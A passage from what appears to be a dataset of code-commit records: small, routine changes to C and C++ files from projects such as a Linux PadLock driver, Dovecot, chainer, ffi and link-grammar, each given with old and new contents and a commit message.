padlock_init_aes(void);\nvoid padlock_fini_aes(void);\n#endif\n\n#endif\t\/* _CRYPTO_PADLOCK_H *\/\n","new_contents":"\/*\n * Driver for VIA PadLock\n *\n * Copyright (c) 2004 Michal Ludvig <michal@logix.cz>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU General Public License as published by the Free\n * Software Foundation; either version 2 of the License, or (at your option) \n * any later version.\n *\n *\/\n\n#ifndef _CRYPTO_PADLOCK_H\n#define _CRYPTO_PADLOCK_H\n\n#define PADLOCK_ALIGNMENT 16\n\n\/* Control word. *\/\nstruct cword {\n\tunsigned int __attribute__ ((__packed__))\n\t\trounds:4,\n\t\talgo:3,\n\t\tkeygen:1,\n\t\tinterm:1,\n\t\tencdec:1,\n\t\tksize:2;\n} __attribute__ ((__aligned__(PADLOCK_ALIGNMENT)));\n\n#define PFX\t\"padlock: \"\n\n#ifdef CONFIG_CRYPTO_DEV_PADLOCK_AES\nint padlock_init_aes(void);\nvoid padlock_fini_aes(void);\n#endif\n\n#endif\t\/* _CRYPTO_PADLOCK_H *\/\n","subject":"Fix sparse warning about 1-bit signed bit-field","message":"[PADLOCK] Fix sparse warning about 1-bit signed bit-field\n\nChange the bit-field in struct cword to unsigned to shut sparse up.\n\nSigned-off-by: Herbert Xu <ef65de1c7be0aa837fe7b25ba9a7739905af6a55@gondor.apana.org.au>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"0c5865eeaa060368d4e69a6effbfe90b82335d32","old_file":"include\/gui-components.h","new_file":"include\/gui-components.h","old_contents":"#ifndef GUI_COMPONENTS\n#define GUI_COMPONENTS\n\nvoid typewriterTextEffect() {\n\n}\n\n\/\/reminder: use composition\n\/\/reminder: game will be played almost entirely through keyboard\n\nclass TextBox {\n\n};\n\nclass ContextMenu {};\n\n\n\n\n\n#endif\n","new_contents":"#ifndef GUI_COMPONENTS\n#define GUI_COMPONENTS\n\n\n#endif\n","subject":"DELETE USELESS CLASSES -ok that was fun","message":"DELETE USELESS CLASSES -ok that was fun\n","lang":"C","license":"apache-2.0","repos":"Blaze349\/Pokemon-Clone,Blaze349\/Pokemon-Clone"}
{"commit":"2cf9e27e57460ba44c7d8c54654b0e0560ae478e","old_file":"board_driver\/updateRTC.c","new_file":"board_driver\/updateRTC.c","old_contents":"","new_contents":"#include <stdint.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <time.h>\n#include <string.h>\n\n#include <board_driver\/uart.h>\n#include <board_driver\/rtc.h>\n\nint main(void) {\n\tuart_init();\n\tprintf(\"Starting\\n\\n\");\n\tprintf(\"RTC status: %d\\n\", BSP_RTC_Init());\n\n\tstruct tm ti;\n\n\tchar month[3];\n\n\tsscanf(__DATE__, \"%s %d %d\", month, &ti.tm_mday, &ti.tm_year);\n\n\tti.tm_year -= 1900;\n\n\tif(!strcmp(month, \"Jan\"))\n\t\tti.tm_mon = 1;\n\telse if(!strcmp(month, \"Feb\"))\n\t\tti.tm_mon = 2;\n\telse if(!strcmp(month, \"Mar\"))\n\t\tti.tm_mon = 3;\n\telse if(!strcmp(month, \"Apr\"))\n\t\tti.tm_mon = 4;\n\telse if(!strcmp(month, \"May\"))\n\t\tti.tm_mon = 5;\n\telse if(!strcmp(month, \"Jun\"))\n\t\tti.tm_mon = 6;\n\telse if(!strcmp(month, \"Jul\"))\n\t\tti.tm_mon = 7;\n\telse if(!strcmp(month, \"Aug\"))\n\t\tti.tm_mon = 8;\n\telse if(!strcmp(month, \"Sep\"))\n\t\tti.tm_mon = 9;\n\telse if(!strcmp(month, \"Oct\"))\n\t\tti.tm_mon = 10;\n\telse if(!strcmp(month, \"Nov\"))\n\t\tti.tm_mon = 11;\n\telse if(!strcmp(month, \"Dec\"))\n\t\tti.tm_mon = 12;\n\n\tsscanf(__TIME__, \"%d:%d:%d\", &ti.tm_hour, &ti.tm_min, &ti.tm_sec);\n\n\tuint32_t unixTime = mktime(&ti);\n\tRTC_Update_Date_Time(unixTime);\n\n\twhile (1) {\n\t\tDate_Time_t now;\n\t\tRTC_Get_Date_Time(&now);\n\t\tprintf(\"time: %02d:%02d:%02d, %02d\/%02d\/%02d\\n\", now.hours, now.minutes, now.seconds, now.date, now.month, (now.year + 1900));\n\t\tHAL_Delay(1000);\n\t}\n}\n","subject":"Update clock file from other repo","message":"board_driver\/rtc: Update clock file from other repo\n\nThis contains a main function and need to be rewritten\nas a part of the RTC driver.\n","lang":"C","license":"mit","repos":"AAU-Racing\/embedded_car,AAU-Racing\/embedded_car,AAU-Racing\/embedded_car"}
{"commit":"29f847ae3dae83f4ab24b8a9f1ecffc74d49d68c","old_file":"xchainer\/array_node.h","new_file":"xchainer\/array_node.h","old_contents":"#pragma once\n\n#include <memory>\n\n#include <nonstd\/optional.hpp>\n\n#include \"xchainer\/array.h\"\n\nnamespace xchainer {\n\nclass OpNode;\n\nclass ArrayNode {\npublic:\n    ArrayNode() = default;\n\n    const std::shared_ptr<OpNode>& next_node() { return next_node_; }\n    std::shared_ptr<const OpNode> next_node() const { return next_node_; }\n\n    void set_next_node(std::shared_ptr<OpNode> next_node) { next_node_ = std::move(next_node); }\n\n    const nonstd::optional<Array>& grad() const { return grad_; }\n\n    void set_grad(Array grad) { grad_.emplace(std::move(grad)); };\n\n    void ClearGrad() { grad_ = nonstd::nullopt; }\n\nprivate:\n    std::shared_ptr<OpNode> next_node_;\n    nonstd::optional<Array> grad_;\n};\n\n}  \/\/ xchainer\n","new_contents":"#pragma once\n\n#include <memory>\n\n#include <nonstd\/optional.hpp>\n\n#include \"xchainer\/array.h\"\n\nnamespace xchainer {\n\nclass OpNode;\n\nclass ArrayNode {\npublic:\n    ArrayNode() = default;\n\n    const std::shared_ptr<OpNode>& next_node() { return next_node_; }\n    std::shared_ptr<const OpNode> next_node() const { return next_node_; }\n\n    void set_next_node(std::shared_ptr<OpNode> next_node) { next_node_ = std::move(next_node); }\n\n    const nonstd::optional<Array>& grad() const { return grad_; }\n\n    void set_grad(Array grad) { grad_.emplace(std::move(grad)); };\n\n    void ClearGrad() { grad_.reset(); }\n\nprivate:\n    std::shared_ptr<OpNode> next_node_;\n    nonstd::optional<Array> grad_;\n};\n\n}  \/\/ xchainer\n","subject":"Use reset() to make optional empty","message":"Use reset() to make optional empty\n","lang":"C","license":"mit","repos":"ktnyt\/chainer,wkentaro\/chainer,wkentaro\/chainer,wkentaro\/chainer,okuta\/chainer,hvy\/chainer,niboshi\/chainer,niboshi\/chainer,keisuke-umezawa\/chainer,hvy\/chainer,keisuke-umezawa\/chainer,tkerola\/chainer,jnishi\/chainer,chainer\/chainer,keisuke-umezawa\/chainer,ktnyt\/chainer,okuta\/chainer,jnishi\/chainer,chainer\/chainer,jnishi\/chainer,pfnet\/chainer,wkentaro\/chainer,okuta\/chainer,ktnyt\/chainer,hvy\/chainer,keisuke-umezawa\/chainer,jnishi\/chainer,ktnyt\/chainer,niboshi\/chainer,okuta\/chainer,chainer\/chainer,hvy\/chainer,chainer\/chainer,niboshi\/chainer"}
{"commit":"aba69416a9ab69d96e3927d098c293aaca2799e3","old_file":"wfd\/parser\/driver.h","new_file":"wfd\/parser\/driver.h","old_contents":"\/*\n * This file is part of wysiwidi\n *\n * Copyright (C) 2014 Intel Corporation.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n\n#ifndef DRIVER_H_\n#define DRIVER_H_\n\n#include <string>\n#include <memory>\n\n#include \"scanner.h\"\n#include \"message.h\"\n#include \"payload.h\"\n#include \"parser.tab.hpp\"\n\nnamespace wfd {\n\nclass Driver {\n public:\n  ~Driver();\n\n  void Parse(const std::string& input, Message*& message \/*out*\/);\n\n private:\n  std::unique_ptr<Parser> parser_;\n  std::unique_ptr<Scanner> scanner_;\n};\n\n}  \/\/ namespace wfd\n\n#endif  \/\/ DRIVER_H_\n","new_contents":"\/*\n * This file is part of wysiwidi\n *\n * Copyright (C) 2014 Intel Corporation.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n\n#ifndef DRIVER_H_\n#define DRIVER_H_\n\n#include <string>\n#include <memory>\n\n#include \"scanner.h\"\n#include \"message.h\"\n#include \"payload.h\"\n#include \"parser.tab.hpp\"\n\nnamespace wfd {\n\nclass Driver {\n public:\n  Driver() = default;\n  ~Driver();\n\n  void Parse(const std::string& input, Message*& message \/*out*\/);\n\n private:\n  std::unique_ptr<Parser> parser_;\n  std::unique_ptr<Scanner> scanner_;\n};\n\n}  \/\/ namespace wfd\n\n#endif  \/\/ DRIVER_H_\n","subject":"Add user-defined constructor to the wfd::Driver class","message":"Add user-defined constructor to the wfd::Driver class\n","lang":"C","license":"lgpl-2.1","repos":"michaelolbrich\/wds,jku\/wysiwidi,alexshalamov\/wysiwidi-2,felipemogollon\/wysiwidi,01org\/wds,michaelolbrich\/wds,UIKit0\/wysiwidi,ayoubayoub\/wysiwidi,01org\/wds,275288698\/wds,felipemogollon\/wysiwidi,alexshalamov\/wysiwidi-2,ironsmile\/wysiwidi,michaelolbrich\/wds,ironsmile\/wysiwidi,ayoubayoub\/wysiwidi,alexshalamov\/wds,UIKit0\/wysiwidi,alexshalamov\/wds,alexshalamov\/wds,jku\/wysiwidi,UIKit0\/wysiwidi,jku\/wysiwidi,01org\/wds,275288698\/wds,ayoubayoub\/wysiwidi,felipemogollon\/wysiwidi,alexshalamov\/wysiwidi-2,275288698\/wds,ironsmile\/wysiwidi"}
{"commit":"486d2738965d5e62c08e42a29cc635e6e9be7477","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jkerihuel\/dovecot"}
{"commit":"55a46b37da13f6db357392b53132593341ad116e","old_file":"src\/plugins\/zlib\/istream-bzlib.c","new_file":"src\/plugins\/zlib\/istream-bzlib.c","old_contents":"\/* Copyright (c) 2005-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"istream-internal.h\"\n#include \"istream-zlib.h\"\n\n#ifdef HAVE_BZLIB\n#include <bzlib.h>\n\n#define BZLIB_INCLUDE\n\n#define gzFile BZFILE\n#define gzdopen BZ2_bzdopen\n#define gzclose BZ2_bzclose\n#define gzread BZ2_bzread\n#define gzseek BZ2_bzseek\n\n#define i_stream_create_zlib i_stream_create_bzlib\n#include \"istream-zlib.c\"\n#endif\n","new_contents":"\/* Copyright (c) 2005-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"istream-internal.h\"\n#include \"istream-zlib.h\"\n\n#ifdef HAVE_BZLIB\n#include <stdio.h>\n#include <bzlib.h>\n\n#define BZLIB_INCLUDE\n\n#define gzFile BZFILE\n#define gzdopen BZ2_bzdopen\n#define gzclose BZ2_bzclose\n#define gzread BZ2_bzread\n#define gzseek BZ2_bzseek\n\n#define i_stream_create_zlib i_stream_create_bzlib\n#include \"istream-zlib.c\"\n#endif\n","subject":"Include stdio.h in case bzlib.h needs it.","message":"bzlib: Include stdio.h in case bzlib.h needs it.\n","lang":"C","license":"mit","repos":"damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot"}
{"commit":"e8fad243e1003a0113dc229ed18bd16651c009b4","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include <stdio.h>\n\n#define NUMERO_DE_TENTATIVAS 5\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  for(int i = 1; i <= NUMERO_DE_TENTATIVAS; i++) {\n\n    printf(\"Tentativa %d de %d\\n\", i, NUMERO_DE_TENTATIVAS);\n    printf(\"Qual é o seu chute? \");\n\n    scanf(\"%d\", &chute);\n    printf(\"Seu chute foi %d\\n\", chute);\n\n    int acertou = chute == numerosecreto;\n    int maior = chute > numerosecreto;\n    int menor = chute < numerosecreto;\n\n    if(acertou) {\n      printf(\"Parabéns! Você acertou!\\n\");\n      printf(\"Jogue de novo, você é um bom jogador!\\n\");\n      break;\n    }\n\n    else if(maior) {\n      printf(\"Seu chute foi maior que o número secreto\\n\");\n    }\n\n    else {\n      printf(\"Seu chute foi menor que o número secreto\\n\");\n    }\n\n  }\n\n  printf(\"Fim de jogo!\\n\");\n\n}\n","new_contents":"#include <stdio.h>\n\n#define NUMERO_DE_TENTATIVAS 5\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  for(int i = 1; i <= NUMERO_DE_TENTATIVAS; i++) {\n\n    printf(\"Tentativa %d de %d\\n\", i, NUMERO_DE_TENTATIVAS);\n    printf(\"Qual é o seu chute? \");\n\n    scanf(\"%d\", &chute);\n    printf(\"Seu chute foi %d\\n\", chute);\n\n    if(chute < 0) {\n      printf(\"Você não pode chutar números negativos!\\n\");\n      i--;\n\n      continue;\n    }\n\n    int acertou = chute == numerosecreto;\n    int maior = chute > numerosecreto;\n    int menor = chute < numerosecreto;\n\n    if(acertou) {\n      printf(\"Parabéns! Você acertou!\\n\");\n      printf(\"Jogue de novo, você é um bom jogador!\\n\");\n\n      break;\n    }\n\n    else if(maior) {\n      printf(\"Seu chute foi maior que o número secreto\\n\");\n    }\n\n    else {\n      printf(\"Seu chute foi menor que o número secreto\\n\");\n    }\n\n  }\n\n  printf(\"Fim de jogo!\\n\");\n\n}\n","subject":"Update files, Alura, Introdução a C, Aula 2.9","message":"Update files, Alura, Introdução a C, Aula 2.9\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"4c840f9e0771e5f91fd467f93e5309a290567f2a","old_file":"JMAttributedFormat.h","new_file":"JMAttributedFormat.h","old_contents":"\/\/\n\/\/  JMAttributedFormat.h\n\/\/  JMAttributedFormat\n\/\/\n\/\/  Created by Jonathon Mah on 2015-04-11.\n\/\/  This file is licensed under the MIT License. See LICENSE.txt for full details.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n@interface NSObject (JMAttributedFormat_Optional)\n- (NSAttributedString *)attributedDescription;\n@end\n\n\n@interface NSAttributedString (JMAttributedFormat)\n\n+ (instancetype)attributedStringWithFormat:(NSString *)formatString, ... NS_FORMAT_FUNCTION(1,2);\n+ (instancetype)attributedStringWithBaseAttributes:(NSDictionary *)baseAttributes format:(NSString *)formatString, ... NS_FORMAT_FUNCTION(2,3);\n- (instancetype)initWithBaseAttributes:(NSDictionary *)baseAttributes format:(NSString *)formatString, ... NS_FORMAT_FUNCTION(2,3);\n- (instancetype)initWithBaseAttributes:(NSDictionary *)baseAttributes format:(NSString *)formatString arguments:(va_list)argList NS_FORMAT_FUNCTION(2,0);\n\n@end\n","new_contents":"\/\/\n\/\/  JMAttributedFormat.h\n\/\/  JMAttributedFormat\n\/\/\n\/\/  Created by Jonathon Mah on 2015-04-11.\n\/\/  This file is licensed under the MIT License. See LICENSE.txt for full details.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n@interface NSObject (JMAttributedFormat_Optional)\n- (nullable NSAttributedString *)attributedDescription;\n@end\n\n\n@interface NSAttributedString (JMAttributedFormat)\n\n+ (nullable instancetype)attributedStringWithFormat:(nonnull NSString *)formatString, ... NS_FORMAT_FUNCTION(1,2);\n+ (nullable instancetype)attributedStringWithBaseAttributes:(nullable NSDictionary *)baseAttributes format:(nonnull NSString *)formatString, ... NS_FORMAT_FUNCTION(2,3);\n- (nullable instancetype)initWithBaseAttributes:(nullable NSDictionary *)baseAttributes format:(nonnull NSString *)formatString, ... NS_FORMAT_FUNCTION(2,3);\n- (nullable instancetype)initWithBaseAttributes:(nullable NSDictionary *)baseAttributes format:(nonnull NSString *)formatString arguments:(va_list)argList NS_FORMAT_FUNCTION(2,0);\n\n@end\n","subject":"Add nullable annotations to header","message":"Add nullable annotations to header\n","lang":"C","license":"mit","repos":"jmah\/JMAttributedFormat"}
{"commit":"34a63918b86f54ccf4bd53b82bf9396a11007e31","old_file":"src\/hooks.h","new_file":"src\/hooks.h","old_contents":"\/*\n *  hooks.h\n *  StatusSpec project\n *  \n *  Copyright (c) 2014 thesupremecommander\n *  BSD 2-Clause License\n *  http:\/\/opensource.org\/licenses\/BSD-2-Clause\n *\n *\/\n\n#pragma once\n\n#include \"stdafx.h\"\n\n#include <map>\n\n#define CLIENT_DLL\n#define GLOWS_ENABLE\n\n#include \"cdll_int.h\"\n#include \"KeyValues.h\"\n#include \"igameresources.h\"\n#include \"vgui\/vgui.h\"\n#include \"vgui\/IPanel.h\"\n#include \"cbase.h\"\n#include \"c_basecombatcharacter.h\"\n#include \"glow_outline_effect.h\"\n\n#include <sourcehook\/sourcehook_impl.h>\n#include <sourcehook\/sourcehook.h>\n\nusing namespace vgui;\n\nclass C_TFPlayer;\n\n#if defined _WIN32\n#define OFFSET_GETGLOWEFFECTCOLOR 223\n#define OFFSET_UPDATEGLOWEFFECT 224\n#define OFFSET_DESTROYGLOWEFFECT 225\n#endif\n\nstatic std::map<EHANDLE, int> onDataChangedHooks;\n\nextern SourceHook::ISourceHook *g_SHPtr;\nextern int g_PLID;","new_contents":"\/*\n *  hooks.h\n *  StatusSpec project\n *  \n *  Copyright (c) 2014 thesupremecommander\n *  BSD 2-Clause License\n *  http:\/\/opensource.org\/licenses\/BSD-2-Clause\n *\n *\/\n\n#pragma once\n\n#include \"stdafx.h\"\n\n#include <map>\n\n#define CLIENT_DLL\n#define GLOWS_ENABLE\n\n#include \"cdll_int.h\"\n#include \"KeyValues.h\"\n#include \"igameresources.h\"\n#include \"vgui\/vgui.h\"\n#include \"vgui\/IPanel.h\"\n#include \"cbase.h\"\n#include \"c_basecombatcharacter.h\"\n#include \"glow_outline_effect.h\"\n\n#include <sourcehook\/sourcehook_impl.h>\n#include <sourcehook\/sourcehook.h>\n\nusing namespace vgui;\n\nclass C_TFPlayer;\n\n#if defined _WIN32\n#define OFFSET_GETGLOWEFFECTCOLOR 223\n#define OFFSET_UPDATEGLOWEFFECT 224\n#define OFFSET_DESTROYGLOWEFFECT 225\n#endif\n\n\nextern SourceHook::ISourceHook *g_SHPtr;\nextern int g_PLID;","subject":"Remove map not used anymore.","message":"Remove map not used anymore.\n","lang":"C","license":"bsd-2-clause","repos":"fwdcp\/StatusSpec,fwdcp\/StatusSpec"}
{"commit":"794927c94dd8c7644a94a05d12d260ee4322fad5","old_file":"include\/systemMacro.h","new_file":"include\/systemMacro.h","old_contents":"\/\/PLEASE INCLUDE THIS FILE ON ANY ANNWVYN HEADER\n\n\/*This file conrain macro and symbols definition that have to be\n* parsed by precompiler on each file.\n* They handle diferencies between compilers\n*\/\n\n\/\/-------------------------DLL EXPORT -------------------------------\/\/\n\/\/DLL management for visual studio compiller.\n#undef DLL\n#ifdef DLLDIR_EX \/\/Defined in Annwvyn MSVC project file\n\/\/To contruct a DLL, The macro __declspec(dllexport) have to be called in front of the exported symbol\n   #define DLL  __declspec(dllexport)   \/\/ export DLL information\n#else\n\/\/To reference symbols from a DLL the macro __declspec(dllimport) have to be called the same way\n   #define DLL  __declspec(dllimport)   \/\/ import DLL information\n#endif\n\/\/Bypass on GNU\/Linux : \n#ifdef __gnu_linux__ \/\/All that stuff is handeled by the makefile and the way g++ is called. DLL have to be empty but declared.\n\t#undef DLL\t\n\t#define DLL\n#endif\n\/\/--------------------------------------------------------------------\/\/\n\n\/\/--------------------Application Entrypoint definition--------------\/\/\n\/\/Main definition : \n#undef AnnMain()\n\n#if OGRE_PLATFORM == PLATFORM_WIN32 || OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n\/\/On windows : \n#define WIN32_LEAN_AND_MEAN \n#include \"windows.h\"\n#define AnnMain() INT WINAPI WinMain(HINSTANCE hInst, HINSTANCE, LPSTR strCmdLine, INT)\n\n#else\n\/\/On others :\n#define AnnMain() int main(int argc, char** argv)\n#endif\n\/\/---------------------------------------------------------------------\/\/\n\n","new_contents":"\/\/PLEASE INCLUDE THIS FILE ON ANY ANNWVYN HEADER\n\n\/*This file conrain macro and symbols definition that have to be\n* parsed by precompiler on each file.\n* They handle diferencies between compilers\n*\/\n\n\/\/-------------------------DLL EXPORT -------------------------------\/\/\n\/\/DLL management for visual studio compiller.\n#undef DLL\n#ifdef DLLDIR_EX \/\/Defined in Annwvyn MSVC project file\n\/\/To contruct a DLL, The macro __declspec(dllexport) have to be called in front of the exported symbol\n   #define DLL  __declspec(dllexport)   \/\/ export DLL information\n#else\n\/\/To reference symbols from a DLL the macro __declspec(dllimport) have to be called the same way\n   #define DLL  __declspec(dllimport)   \/\/ import DLL information\n#endif\n\/\/Bypass on GNU\/Linux : \n#ifdef __gnu_linux__ \/\/All that stuff is handeled by the makefile and the way g++ is called. DLL have to be empty but declared.\n\t#undef DLL\t\n\t#define DLL\n#endif\n\/\/--------------------------------------------------------------------\/\/\n\n\/\/--------------------Application Entrypoint definition--------------\/\/\n\/\/Main definition : \n#undef AnnMain\n\n#ifdef _WIN32\n#define WIN32_LEAN_AND_MEAN \n#include \"windows.h\"\n#define AnnMain() INT WINAPI WinMain(HINSTANCE hInst, HINSTANCE, LPSTR strCmdLine, INT)\n\n#else\n\/\/On others :\n#define AnnMain() int main(int argc, char** argv)\n#endif\n\/\/---------------------------------------------------------------------\/\/\n\n","subject":"Correct compillation for GCC apparently...","message":"Correct compillation for GCC apparently...\n","lang":"C","license":"mit","repos":"Ybalrid\/Annwvyn,Ybalrid\/Annwvyn,Ybalrid\/Annwvyn"}
{"commit":"ff35a2bf9537e5d46271a58e7e40f50aa1bbd20f","old_file":"libtest\/GlobalVariable.c","new_file":"libtest\/GlobalVariable.c","old_contents":"#include <sys\/types.h>\n#include <stdint.h>\n\ntypedef int8_t s8;\ntypedef uint8_t u8;\ntypedef int16_t s16;\ntypedef uint16_t u16;\ntypedef int32_t s32;\ntypedef uint32_t u32;\ntypedef int64_t s64;\ntypedef uint64_t u64;\ntypedef signed long sL;\ntypedef unsigned long uL;\ntypedef float f32;\ntypedef double f64;\ntypedef unsigned long ulong;\ntypedef void* pointer;\n\n#define GVAR(T) \\\n    T gvar_##T; \\\n    T gvar_##T##_get() { return gvar_##T; }; \\\n    void gvar_##T##_set(T v) { gvar_##T = v; }\n\nGVAR(s8);\nGVAR(u8);\nGVAR(s16);\nGVAR(u16);\nGVAR(s32);\nGVAR(u32);\nGVAR(s64);\nGVAR(u64);\nGVAR(long);\nGVAR(ulong);\nGVAR(pointer);\n","new_contents":"#include <sys\/types.h>\n#include <stdint.h>\n\ntypedef int8_t s8;\ntypedef uint8_t u8;\ntypedef int16_t s16;\ntypedef uint16_t u16;\ntypedef int32_t s32;\ntypedef uint32_t u32;\ntypedef int64_t s64;\ntypedef uint64_t u64;\ntypedef signed long sL;\ntypedef unsigned long uL;\ntypedef float f32;\ntypedef double f64;\ntypedef unsigned long ulong;\ntypedef void* pointer;\n\n#define GVAR(T) \\\n    extern T gvar_##T; \\\n    T gvar_##T = (T) -1; \\\n    T gvar_##T##_get() { return gvar_##T; }; \\\n    void gvar_##T##_set(T v) { gvar_##T = v; }\n\nGVAR(s8);\nGVAR(u8);\nGVAR(s16);\nGVAR(u16);\nGVAR(s32);\nGVAR(u32);\nGVAR(s64);\nGVAR(u64);\nGVAR(long);\nGVAR(ulong);\nGVAR(pointer);\n","subject":"Initialize all the global vars in the hope it will stop MacOS from complaining","message":"Initialize all the global vars in the hope it will stop MacOS from complaining\n","lang":"C","license":"bsd-3-clause","repos":"majioa\/ffi,mvz\/ffi,majioa\/ffi,majioa\/ffi,mvz\/ffi,yghannam\/ffi,yghannam\/ffi,MikaelSmith\/ffi,ferventcoder\/ffi,sparkchaser\/ffi,MikaelSmith\/ffi,tduehr\/ffi,ferventcoder\/ffi,tduehr\/ffi,yghannam\/ffi,ffi\/ffi,ffi\/ffi,ferventcoder\/ffi,sparkchaser\/ffi,ferventcoder\/ffi,majioa\/ffi,MikaelSmith\/ffi,ffi\/ffi,sparkchaser\/ffi,sparkchaser\/ffi,yghannam\/ffi,yghannam\/ffi,MikaelSmith\/ffi,mvz\/ffi,tduehr\/ffi,mvz\/ffi,tduehr\/ffi"}
{"commit":"98de92ee0513d37d2eb9fff482f999bb229540b7","old_file":"link-grammar\/lg_assert.h","new_file":"link-grammar\/lg_assert.h","old_contents":"\/* There is no include guard here - by purpose. This file can be included\n * after system includes that redefine the assert() macro.\n * The actual problem for which this file got separated from utilities.h\n * happens in the sat-solver code, when local include files include\n * Solver.h which in turn includes the system's assert.h. *\/\n\n#include \"error.h\" \/* for prt_error() *\/\n\n#ifndef STRINGIFY\n#define STR(x) #x\n#define STRINGIFY(x) STR(x)\n#endif \/* STRINGIFY *\/\n\n#define FILELINE __FILE__ \":\" STRINGIFY(__LINE__)\n\n#ifdef _WIN32\n#define DEBUG_TRAP (*((volatile int*) 0x0) = 42)\n#else\n#define DEBUG_TRAP __builtin_trap()\n#endif\n\n#define assert(ex, ...) {                                                   \\\n\tif (!(ex)) {                                                             \\\n\t\tfprintf(stderr, \"Fatal error: \\nAssertion (\" #ex \") failed at \" FILELINE \": \" __VA_ARGS__);  \\\n\t\tfprintf(stderr, \"\\n\");                                                \\\n\t\tDEBUG_TRAP;  \/* leave stack trace in debugger *\/                      \\\n\t}                                                                        \\\n}\n","new_contents":"\/* There is no include guard here - by purpose. This file can be included\n * after system includes that redefine the assert() macro.\n * The actual problem for which this file got separated from utilities.h\n * happens in the sat-solver code, when local include files include\n * Solver.h which in turn includes the system's assert.h. *\/\n\n#include \"error.h\" \/* for prt_error() *\/\n\n#ifndef 